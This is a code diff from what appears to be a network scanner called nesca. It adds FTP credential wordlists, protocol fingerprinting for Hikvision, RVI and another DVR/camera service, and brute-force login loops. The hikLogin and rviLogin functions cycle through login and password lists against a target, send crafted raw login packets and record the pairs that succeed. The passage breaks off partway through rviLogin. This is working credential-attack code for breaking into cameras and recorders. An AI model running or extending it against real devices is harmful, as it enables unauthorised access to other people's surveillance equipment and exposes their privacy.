long FileUpdater::oldNegLstSize = 0;
|
long FileUpdater::oldNegLstSize = 0;
|
||||||
long FileUpdater::oldLoginLstSize = 0;
|
long FileUpdater::oldLoginLstSize = 0;
|
||||||
@ -10,6 +15,8 @@ long FileUpdater::oldPassLstSize = 0;
|
|||||||
long FileUpdater::oldSSHLstSize = 0;
|
long FileUpdater::oldSSHLstSize = 0;
|
||||||
long FileUpdater::oldWFLoginLstSize = 0;
|
long FileUpdater::oldWFLoginLstSize = 0;
|
||||||
long FileUpdater::oldWFPassLstSize = 0;
|
long FileUpdater::oldWFPassLstSize = 0;
|
||||||
|
long FileUpdater::oldFTPLoginLstSize = 0;
|
||||||
|
long FileUpdater::oldFTPPassLstSize = 0;
|
||||||
int FileUpdater::gNegativeSize = 0;
|
int FileUpdater::gNegativeSize = 0;
|
||||||
std::mutex FileUpdater::filesUpdatingMutex;
|
std::mutex FileUpdater::filesUpdatingMutex;
|
||||||
std::condition_variable FileUpdater::cv;
|
std::condition_variable FileUpdater::cv;
|
||||||
@ -18,7 +25,7 @@ std::unique_lock<std::mutex> FileUpdater::lk;
|
|||||||
std::vector<std::string> FileUpdater::negativeVector;
|
std::vector<std::string> FileUpdater::negativeVector;
|
||||||
|
|
||||||
void negativeLoader() {
|
void negativeLoader() {
|
||||||
std::ifstream file("negatives.txt");
|
std::ifstream file(NEGATIVE_FN);
|
||||||
std::string line;
|
std::string line;
|
||||||
|
|
||||||
while (std::getline(file, line)) FileUpdater::negativeVector.push_back(line);
|
while (std::getline(file, line)) FileUpdater::negativeVector.push_back(line);
|
||||||
@ -41,7 +48,7 @@ void updateLogin() {
|
|||||||
|
|
||||||
char buffFG[32] = {0};
|
char buffFG[32] = {0};
|
||||||
|
|
||||||
FILE *loginList = fopen("login.txt", "r");
|
FILE *loginList = fopen(LOGIN_FN, "r");
|
||||||
|
|
||||||
if(loginList != NULL)
|
if(loginList != NULL)
|
||||||
{
|
{
|
||||||
@ -94,7 +101,7 @@ void updatePass() {
|
|||||||
|
|
||||||
char buffFG[32] = {0};
|
char buffFG[32] = {0};
|
||||||
|
|
||||||
FILE *passList = fopen("pass.txt", "r");
|
FILE *passList = fopen(PASS_FN, "r");
|
||||||
|
|
||||||
if(passList != NULL)
|
if(passList != NULL)
|
||||||
{
|
{
|
||||||
@ -148,7 +155,7 @@ void updateSSH() {
|
|||||||
char buffFG[32] = {0};
|
char buffFG[32] = {0};
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
|
||||||
FILE *sshlpList = fopen("sshpass.txt", "r");
|
FILE *sshlpList = fopen(SSH_PASS_FN, "r");
|
||||||
|
|
||||||
if(sshlpList != NULL)
|
if(sshlpList != NULL)
|
||||||
{
|
{
|
||||||
@ -202,7 +209,7 @@ void updateWFLogin() {
|
|||||||
char buffFG[32] = {0};
|
char buffFG[32] = {0};
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
|
||||||
FILE *wfLoginList = fopen("wflogin.txt", "r");
|
FILE *wfLoginList = fopen(WF_LOGIN_FN, "r");
|
||||||
|
|
||||||
if(wfLoginList != NULL)
|
if(wfLoginList != NULL)
|
||||||
{
|
{
|
||||||
@ -251,7 +258,7 @@ void updateWFPass() {
|
|||||||
char buffFG[32] = {0};
|
char buffFG[32] = {0};
|
||||||
ZeroMemory(buffFG, sizeof(buffFG));
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
|
||||||
FILE *wfPassList = fopen("wfpass.txt", "r");
|
FILE *wfPassList = fopen(WF_PASS_FN, "r");
|
||||||
|
|
||||||
if(wfPassList != NULL)
|
if(wfPassList != NULL)
|
||||||
{
|
{
|
||||||
@ -286,7 +293,104 @@ void updateWFPass() {
|
|||||||
fclose(wfPassList);
|
fclose(wfPassList);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
void updateFTPLogin() {
|
||||||
|
|
||||||
|
if (ftpLoginLst != NULL)
|
||||||
|
{
|
||||||
|
for (int i = 0; i < MaxFTPLogin; ++i) delete[]ftpLoginLst[i];
|
||||||
|
delete[]ftpLoginLst;
|
||||||
|
ftpLoginLst = NULL;
|
||||||
|
};
|
||||||
|
|
||||||
|
MaxFTPLogin = 0;
|
||||||
|
|
||||||
|
char buffFG[32] = { 0 };
|
||||||
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
|
||||||
|
FILE *ftpLoginList = fopen(FTP_LOGIN_FN, "r");
|
||||||
|
|
||||||
|
if (ftpLoginList != NULL)
|
||||||
|
{
|
||||||
|
while (fgets(buffFG, 32, ftpLoginList) != NULL)
|
||||||
|
{
|
||||||
|
MaxFTPLogin++;
|
||||||
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
};
|
||||||
|
|
||||||
|
rewind(ftpLoginList);
|
||||||
|
|
||||||
|
ftpLoginLst = new char*[MaxFTPLogin];
|
||||||
|
|
||||||
|
for (int j = 0; j < MaxFTPLogin; j++)
|
||||||
|
{
|
||||||
|
ftpLoginLst[j] = new char[32];
|
||||||
|
};
|
||||||
|
|
||||||
|
int i = 0;
|
||||||
|
while (fgets(buffFG, 32, ftpLoginList) != NULL)
|
||||||
|
{
|
||||||
|
memset(ftpLoginLst[i], 0, strlen(buffFG) + 1);
|
||||||
|
|
||||||
|
if (strstr(buffFG, "\n") != NULL) strncat(ftpLoginLst[i++], buffFG, strlen(buffFG) - 1);
|
||||||
|
else strncat(ftpLoginLst[i++], buffFG, strlen(buffFG));
|
||||||
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
};
|
||||||
|
|
||||||
|
if (FileUpdater::oldFTPLoginLstSize == 0) stt->doEmitionGreenFoundData("FTP login list loaded (" + QString::number(MaxFTPLogin) + " entries)");
|
||||||
|
else stt->doEmitionFoundData("<font color=\"Pink\">FTP login list updated (" + QString::number(MaxFTPLogin) + " entries)</font>");
|
||||||
|
|
||||||
|
fclose(ftpLoginList);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
void updateFTPPass() {
|
||||||
|
|
||||||
|
if (ftpPassLst != NULL)
|
||||||
|
{
|
||||||
|
for (int i = 0; i < MaxFTPPass; ++i) delete[]ftpPassLst[i];
|
||||||
|
delete[]ftpPassLst;
|
||||||
|
ftpPassLst = NULL;
|
||||||
|
};
|
||||||
|
|
||||||
|
MaxFTPPass = 0;
|
||||||
|
|
||||||
|
char buffFG[32] = { 0 };
|
||||||
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
|
||||||
|
FILE *ftpPassList = fopen(FTP_PASS_FN, "r");
|
||||||
|
|
||||||
|
if (ftpPassList != NULL)
|
||||||
|
{
|
||||||
|
while (fgets(buffFG, 32, ftpPassList) != NULL)
|
||||||
|
{
|
||||||
|
++MaxFTPPass;
|
||||||
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
};
|
||||||
|
|
||||||
|
rewind(ftpPassList);
|
||||||
|
|
||||||
|
ftpPassLst = new char*[MaxFTPPass];
|
||||||
|
|
||||||
|
for (int j = 0; j < MaxFTPPass; j++)
|
||||||
|
{
|
||||||
|
ftpPassLst[j] = new char[32];
|
||||||
|
};
|
||||||
|
|
||||||
|
int i = 0;
|
||||||
|
while (fgets(buffFG, 32, ftpPassList) != NULL)
|
||||||
|
{
|
||||||
|
memset(ftpPassLst[i], 0, strlen(buffFG) + 1);
|
||||||
|
|
||||||
|
if (strstr(buffFG, "\n") != NULL) strncat(ftpPassLst[i++], buffFG, strlen(buffFG) - 1);
|
||||||
|
else strncat(ftpPassLst[i++], buffFG, strlen(buffFG));
|
||||||
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
};
|
||||||
|
|
||||||
|
if (FileUpdater::oldFTPPassLstSize == 0) stt->doEmitionGreenFoundData("FTP password list loaded (" + QString::number(MaxFTPPass) + " entries)");
|
||||||
|
else stt->doEmitionFoundData("<font color=\"Pink\">FTP password list updated (" + QString::number(MaxFTPPass) + " entries)</font>");
|
||||||
|
|
||||||
|
fclose(ftpPassList);
|
||||||
|
}
|
||||||
|
}
|
||||||
long getFileSize(const char *fileName) {
|
long getFileSize(const char *fileName) {
|
||||||
std::ifstream in(fileName, std::ifstream::ate | std::ifstream::binary);
|
std::ifstream in(fileName, std::ifstream::ate | std::ifstream::binary);
|
||||||
return in.tellg();
|
return in.tellg();
|
||||||
@ -316,12 +420,14 @@ void FileUpdater::updateLists() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
void FileUpdater::loadOnce() {
|
void FileUpdater::loadOnce() {
|
||||||
updateList("negatives.txt", &oldNegLstSize, (void*(*)(void))updateNegatives);
|
updateList(NEGATIVE_FN, &oldNegLstSize, (void*(*)(void))updateNegatives);
|
||||||
updateList("login.txt", &oldLoginLstSize, (void*(*)(void))updateLogin);
|
updateList(LOGIN_FN, &oldLoginLstSize, (void*(*)(void))updateLogin);
|
||||||
updateList("pass.txt", &oldPassLstSize, (void*(*)(void))updatePass);
|
updateList(PASS_FN, &oldPassLstSize, (void*(*)(void))updatePass);
|
||||||
updateList("sshpass.txt", &oldSSHLstSize, (void*(*)(void))updateSSH);
|
updateList(SSH_PASS_FN, &oldSSHLstSize, (void*(*)(void))updateSSH);
|
||||||
updateList("wflogin.txt", &oldWFLoginLstSize, (void*(*)(void))updateWFLogin);
|
updateList(WF_LOGIN_FN, &oldWFLoginLstSize, (void*(*)(void))updateWFLogin);
|
||||||
updateList("wfpass.txt", &oldWFPassLstSize, (void*(*)(void))updateWFPass);
|
updateList(WF_PASS_FN, &oldWFPassLstSize, (void*(*)(void))updateWFPass);
|
||||||
|
updateList(FTP_LOGIN_FN, &oldFTPLoginLstSize, (void*(*)(void))updateFTPLogin);
|
||||||
|
updateList(FTP_PASS_FN, &oldFTPPassLstSize, (void*(*)(void))updateFTPPass);
|
||||||
}
|
}
|
||||||
|
|
||||||
void FileUpdater::FUClear() {
|
void FileUpdater::FUClear() {
|
||||||
@ -329,7 +435,9 @@ void FileUpdater::FUClear() {
|
|||||||
oldNegLstSize = 0;
|
oldNegLstSize = 0;
|
||||||
oldLoginLstSize = 0;
|
oldLoginLstSize = 0;
|
||||||
oldPassLstSize = 0;
|
oldPassLstSize = 0;
|
||||||
oldSSHLstSize = 0;
|
oldSSHLstSize = 0;
|
||||||
oldWFLoginLstSize = 0;
|
oldWFLoginLstSize = 0;
|
||||||
oldWFPassLstSize = 0;
|
oldWFPassLstSize = 0;
|
||||||
|
oldFTPLoginLstSize = 0;
|
||||||
|
oldFTPPassLstSize = 0;
|
||||||
}
|
}
|
||||||
|
@ -14,7 +14,10 @@ public:
|
|||||||
static long oldPassLstSize;
|
static long oldPassLstSize;
|
||||||
static long oldSSHLstSize;
|
static long oldSSHLstSize;
|
||||||
static long oldWFLoginLstSize;
|
static long oldWFLoginLstSize;
|
||||||
static long oldWFPassLstSize;
|
static long oldWFPassLstSize;
|
||||||
|
static long oldFTPLoginLstSize;
|
||||||
|
static long oldFTPPassLstSize;
|
||||||
|
|
||||||
static bool ready;
|
static bool ready;
|
||||||
static std::condition_variable cv;
|
static std::condition_variable cv;
|
||||||
static std::mutex filesUpdatingMutex;
|
static std::mutex filesUpdatingMutex;
|
||||||
|
@ -4,37 +4,383 @@
|
|||||||
|
|
||||||
bool HikVis::isInitialized = false;
|
bool HikVis::isInitialized = false;
|
||||||
|
|
||||||
|
const char headerSAFARI[128] = {
|
||||||
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x52, 0x00, 0x00, 0x00, 0x7b, 0x22, 0x4d, 0x4f,
|
||||||
|
0x44, 0x55, 0x4c, 0x45, 0x22, 0x3a, 0x22, 0x43, 0x45, 0x52, 0x54, 0x49, 0x46, 0x49, 0x43, 0x41,
|
||||||
|
0x54, 0x45, 0x22, 0x2c, 0x22, 0x4f, 0x50, 0x45, 0x52, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x22, 0x3a,
|
||||||
|
0x22, 0x43, 0x4f, 0x4e, 0x4e, 0x45, 0x43, 0x54, 0x22, 0x2c, 0x22, 0x53, 0x45, 0x53, 0x53, 0x49,
|
||||||
|
0x4f, 0x4e, 0x22, 0x3a, 0x22, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x35, 0x2d, 0x36, 0x66,
|
||||||
|
0x37, 0x32, 0x2d, 0x34, 0x31, 0x63, 0x61, 0x2d, 0x39, 0x63, 0x37, 0x33, 0x2d, 0x62, 0x34, 0x37,
|
||||||
|
0x31, 0x33, 0x32, 0x36, 0x33, 0x65, 0x62, 0x36, 0x30, 0x22, 0x7d, 0x00
|
||||||
|
};
|
||||||
|
|
||||||
|
const char headerIVMS[32] = {
|
||||||
|
0x00, 0x00, 0x00, 0x20, 0x63, 0x00, 0x00, 0x00,
|
||||||
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||||
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||||
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
||||||
|
};
|
||||||
|
|
||||||
|
const char headerRVI[32] = {
|
||||||
|
0xa0, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00,
|
||||||
|
0x61, 0x64, 0x6d, 0x69, 0x6e, 0x00, 0x00, 0x00,
|
||||||
|
0x61, 0x64, 0x6d, 0x69, 0x6e, 0x00, 0x00, 0x00,
|
||||||
|
0x04, 0x01, 0x00, 0x00, 0x00, 0x00, 0xa1, 0xaa
|
||||||
|
};
|
||||||
|
|
||||||
|
const char loginRVIHeaderStart[8] = {
|
||||||
|
0xa0, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00
|
||||||
|
};
|
||||||
|
const char loginRVIHeaderEnd[8] = {
|
||||||
|
0x04, 0x01, 0x00, 0x00, 0x00, 0x00, 0xa1, 0xaa
|
||||||
|
};
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
int recvWT(
|
||||||
|
int Socket,
|
||||||
|
char *Buffer,
|
||||||
|
int Len,
|
||||||
|
long Timeout,
|
||||||
|
int *bTimedOut
|
||||||
|
){
|
||||||
|
fd_set ReadSet;
|
||||||
|
int n;
|
||||||
|
struct timeval Time;
|
||||||
|
FD_ZERO(&ReadSet);
|
||||||
|
FD_SET(Socket, &ReadSet);
|
||||||
|
Time.tv_sec = Timeout;
|
||||||
|
Time.tv_usec = 0;
|
||||||
|
*bTimedOut = FALSE;
|
||||||
|
n = select(Socket + 1, &ReadSet, NULL, NULL, &Time);
|
||||||
|
if (n > 0) { /* got some data */
|
||||||
|
return recv(Socket, Buffer, Len, 0);
|
||||||
|
}
|
||||||
|
if (n == 0) { /* timeout */
|
||||||
|
*bTimedOut = TRUE;
|
||||||
|
}
|
||||||
|
return(n); /* trouble */
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
bool HikVis::checkHikk(const char * sDVRIP, int port) {
|
||||||
|
sockaddr_in sa;
|
||||||
|
sa.sin_family = AF_INET;
|
||||||
|
sa.sin_port = htons(port);
|
||||||
|
|
||||||
|
hostent *host = NULL;
|
||||||
|
#if defined(WIN32)
|
||||||
|
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.S_un.S_addr = inet_addr(sDVRIP);
|
||||||
|
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||||
|
#else
|
||||||
|
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.s_addr = inet_addr(sDVRIP);
|
||||||
|
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||||
|
#endif
|
||||||
|
else return false;
|
||||||
|
|
||||||
|
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||||
|
if (sock == INVALID_SOCKET) return false;
|
||||||
|
|
||||||
|
struct linger linger = { 1, gTimeOut };
|
||||||
|
setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *)&linger, sizeof(linger));
|
||||||
|
|
||||||
|
int res = connect(sock, (sockaddr*)&sa, sizeof(sa));
|
||||||
|
int bTO;
|
||||||
|
char buff[2048] = { 0 };
|
||||||
|
if (res != SOCKET_ERROR) {
|
||||||
|
send(sock, headerIVMS, 32, 0);
|
||||||
|
char tBuff[32] = { 0 };
|
||||||
|
int offset = 0;
|
||||||
|
int sz = 0;
|
||||||
|
while ((sz = recvWT(sock, tBuff, 16, gTimeOut, &bTO)) > 0) {
|
||||||
|
memcpy(buff + offset, tBuff, sz);
|
||||||
|
offset = sz;
|
||||||
|
}
|
||||||
|
|
||||||
|
shutdown(sock, SD_BOTH);
|
||||||
|
closesocket(sock);
|
||||||
|
|
||||||
|
if (buff[3] == 0x10) return true;
|
||||||
|
else return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
shutdown(sock, SD_BOTH);
|
||||||
|
closesocket(sock);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool HikVis::checkRVI(const char * sDVRIP, int port) {
|
||||||
|
sockaddr_in sa;
|
||||||
|
sa.sin_family = AF_INET;
|
||||||
|
sa.sin_port = htons(port);
|
||||||
|
|
||||||
|
hostent *host = NULL;
|
||||||
|
#if defined(WIN32)
|
||||||
|
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.S_un.S_addr = inet_addr(sDVRIP);
|
||||||
|
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||||
|
#else
|
||||||
|
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.s_addr = inet_addr(sDVRIP);
|
||||||
|
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||||
|
#endif
|
||||||
|
else return false;
|
||||||
|
|
||||||
|
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||||
|
if (sock == INVALID_SOCKET) return false;
|
||||||
|
|
||||||
|
struct linger linger = { 1, gTimeOut };
|
||||||
|
setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *)&linger, sizeof(linger));
|
||||||
|
|
||||||
|
int res = connect(sock, (sockaddr*)&sa, sizeof(sa));
|
||||||
|
int bTO;
|
||||||
|
char buff[2048] = { 0 };
|
||||||
|
if (res != SOCKET_ERROR) {
|
||||||
|
send(sock, headerRVI, 32, 0);
|
||||||
|
char tBuff[32] = { 0 };
|
||||||
|
int offset = 0;
|
||||||
|
int sz = 0;
|
||||||
|
while ((sz = recvWT(sock, tBuff, 16, gTimeOut, &bTO)) > 0) {
|
||||||
|
memcpy(buff + offset, tBuff, sz);
|
||||||
|
offset = sz;
|
||||||
|
}
|
||||||
|
|
||||||
|
shutdown(sock, SD_BOTH);
|
||||||
|
closesocket(sock);
|
||||||
|
|
||||||
|
if (buff[0] == -80) return true;
|
||||||
|
else return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
shutdown(sock, SD_BOTH);
|
||||||
|
closesocket(sock);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool HikVis::checkSAFARI(const char * sDVRIP, int port) {
|
||||||
|
sockaddr_in sa;
|
||||||
|
sa.sin_family = AF_INET;
|
||||||
|
sa.sin_port = htons(port);
|
||||||
|
|
||||||
|
hostent *host = NULL;
|
||||||
|
#if defined(WIN32)
|
||||||
|
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.S_un.S_addr = inet_addr(sDVRIP);
|
||||||
|
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||||
|
#else
|
||||||
|
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.s_addr = inet_addr(sDVRIP);
|
||||||
|
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||||
|
#endif
|
||||||
|
else return false;
|
||||||
|
|
||||||
|
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||||
|
if (sock == INVALID_SOCKET) return false;
|
||||||
|
|
||||||
|
struct linger linger = { 1, gTimeOut };
|
||||||
|
setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *)&linger, sizeof(linger));
|
||||||
|
|
||||||
|
int res = connect(sock, (sockaddr*)&sa, sizeof(sa));
|
||||||
|
int bTO;
|
||||||
|
char buff[2048] = { 0 };
|
||||||
|
if (res != SOCKET_ERROR) {
|
||||||
|
send(sock, headerSAFARI, 128, 0);
|
||||||
|
char tBuff[128] = { 0 };
|
||||||
|
int offset = 0;
|
||||||
|
int sz = 0;
|
||||||
|
while ((sz = recvWT(sock, tBuff, 128, gTimeOut, &bTO)) > 0) {
|
||||||
|
memcpy(buff + offset, tBuff, sz);
|
||||||
|
offset = sz;
|
||||||
|
}
|
||||||
|
|
||||||
|
shutdown(sock, SD_BOTH);
|
||||||
|
closesocket(sock);
|
||||||
|
|
||||||
|
if (buff[0] != '\0') {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (buff[0] == 8) return true;
|
||||||
|
else return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
shutdown(sock, SD_BOTH);
|
||||||
|
closesocket(sock);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
lopaStr HikVis::hikLogin(const char * sDVRIP, int wDVRPort)
|
lopaStr HikVis::hikLogin(const char * sDVRIP, int wDVRPort)
|
||||||
{
|
{
|
||||||
lopaStr lps = { "UNKNOWN", "", "" };
|
lopaStr lps = { "UNKNOWN", "", "" };
|
||||||
int passCounter = 0;
|
int passCounter = 0;
|
||||||
|
char ip[64] = { 0 };
|
||||||
|
strcpy(ip, sDVRIP);
|
||||||
|
int rowIndex = -1;
|
||||||
|
|
||||||
|
char login[64] = { 0 };
|
||||||
|
char pass[64] = { 0 };
|
||||||
|
|
||||||
for (int i = 0; i < MaxLogin; ++i) {
|
for (int i = 0; i < MaxLogin; ++i) {
|
||||||
for (int j = 0; j < MaxPass; ++j) {
|
for (int j = 0; j < MaxPass; ++j) {
|
||||||
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
|
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
|
||||||
if (!globalScanFlag) return lps;
|
if (!globalScanFlag) return lps;
|
||||||
|
ZeroMemory(login, 64);
|
||||||
|
ZeroMemory(pass, 64);
|
||||||
|
strcpy(login, loginLst[i]);
|
||||||
|
strcpy(pass, passLst[j]);
|
||||||
|
|
||||||
NET_DVR_DEVICEINFO_V30 *info;
|
NET_DVR_DEVICEINFO_V30 *info = 0;
|
||||||
hik_init_ptr();
|
hik_init_ptr();
|
||||||
if (hik_login_ptr(sDVRIP, wDVRPort, loginLst[i], passLst[j], info) == 0) {
|
int res = hik_login_ptr(ip, wDVRPort, login, pass, info);
|
||||||
strcpy(lps.login, loginLst[i]);
|
hik_cleanup_ptr();
|
||||||
strcpy(lps.pass, passLst[j]);
|
if (res == 0) {
|
||||||
hik_cleanup_ptr();
|
strcpy(lps.login, login);
|
||||||
|
strcpy(lps.pass, pass);
|
||||||
|
|
||||||
|
if (rowIndex == -1) {
|
||||||
|
nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort), QString(login) + ":" + QString(pass), "OK");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), "OK");
|
||||||
|
}
|
||||||
|
|
||||||
return lps;
|
return lps;
|
||||||
}
|
}
|
||||||
hik_cleanup_ptr();
|
|
||||||
|
|
||||||
if (BALogSwitched) stt->doEmitionBAData("HV: " + QString(sDVRIP) + ":" + QString::number(wDVRPort) +
|
if (BALogSwitched) {
|
||||||
"; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" +
|
if (rowIndex == -1) {
|
||||||
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
|
rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort),
|
||||||
|
QString(login) + ":" + QString(pass),
|
||||||
Sleep(100);
|
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
|
||||||
|
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{ rowIndex = -1; }
|
||||||
|
++passCounter;
|
||||||
|
Sleep(200);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (rowIndex == -1) {
|
||||||
|
nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort), "--", "FAIL");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
|
||||||
|
}
|
||||||
return lps;
|
return lps;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
int rvi_login_ptr(const char *sDVRIP, int wDVRPort, const char *login, const char *pass) {
|
||||||
|
sockaddr_in sa;
|
||||||
|
sa.sin_family = AF_INET;
|
||||||
|
sa.sin_port = htons(wDVRPort);
|
||||||
|
|
||||||
|
hostent *host = NULL;
|
||||||
|
#if defined(WIN32)
|
||||||
|
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.S_un.S_addr = inet_addr(sDVRIP);
|
||||||
|
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||||
|
#else
|
||||||
|
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.s_addr = inet_addr(sDVRIP);
|
||||||
|
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||||
|
#endif
|
||||||
|
else return -1;
|
||||||
|
|
||||||
|
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||||
|
if (sock == INVALID_SOCKET) return -1;
|
||||||
|
|
||||||
|
struct linger linger = { 1, gTimeOut };
|
||||||
|
setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *)&linger, sizeof(linger));
|
||||||
|
|
||||||
|
int res = connect(sock, (sockaddr*)&sa, sizeof(sa));
|
||||||
|
int bTO;
|
||||||
|
|
||||||
|
char newlp[32] = {0};
|
||||||
|
memcpy(newlp, loginRVIHeaderStart, 8);
|
||||||
|
memcpy(newlp + 8, login, strlen(login));
|
||||||
|
memcpy(newlp + 16, pass, strlen(pass));
|
||||||
|
memcpy(newlp + 24, loginRVIHeaderEnd, 8);
|
||||||
|
|
||||||
|
if (res != SOCKET_ERROR) {
|
||||||
|
send(sock, newlp, 32, 0);
|
||||||
|
char buff[32] = { 0 };
|
||||||
|
recvWT(sock, buff, 16, gTimeOut, &bTO);
|
||||||
|
|
||||||
|
shutdown(sock, SD_BOTH);
|
||||||
|
closesocket(sock);
|
||||||
|
|
||||||
|
if (buff[9] == 0x08) return 0;
|
||||||
|
else return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
shutdown(sock, SD_BOTH);
|
||||||
|
closesocket(sock);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
lopaStr HikVis::rviLogin(const char * sDVRIP, int wDVRPort)
|
||||||
|
{
|
||||||
|
lopaStr lps = { "UNKNOWN", "", "" };
|
||||||
|
int passCounter = 0;
|
||||||
|
char ip[64] = { 0 };
|
||||||
|
strcpy(ip, sDVRIP);
|
||||||
|
int rowIndex = -1;
|
||||||
|
|
||||||
|
char login[64] = { 0 };
|
||||||
|
char pass[64] = { 0 };
|
||||||
|
|
||||||
|
for (int i = 0; i < MaxLogin; ++i) {
|
||||||
|
for (int j = 0; j < MaxPass; ++j) {
|
||||||
|
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
|
||||||
|
if (!globalScanFlag) return lps;
|
||||||
|
ZeroMemory(login, 64);
|
||||||
|
ZeroMemory(pass, 64);
|
||||||
|
strcpy(login, loginLst[i]);
|
||||||
|
strcpy(pass, passLst[j]);
|
||||||
|
|
||||||
|
if (strlen(login) > 8) break;
|
||||||
|
if (strlen(pass) > 8) continue;
|
||||||
|
|
||||||
|
if (rvi_login_ptr(ip, wDVRPort, login, pass) == 0) {
|
||||||
|
strcpy(lps.login, login);
|
||||||
|
strcpy(lps.pass, pass);
|
||||||
|
|
||||||
|
if (rowIndex == -1) {
|
||||||
|
nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort), QString(login) + ":" + QString(pass), "OK");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), "OK");
|
||||||
|
}
|
||||||
|
|
||||||
|
return lps;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (BALogSwitched) {
|
||||||
|
if (rowIndex == -1) {
|
||||||
|
rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort),
|
||||||
|
QString(login) + ":" + QString(pass),
|
||||||
|
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
|
||||||
|
}
|
||||||
|
else {
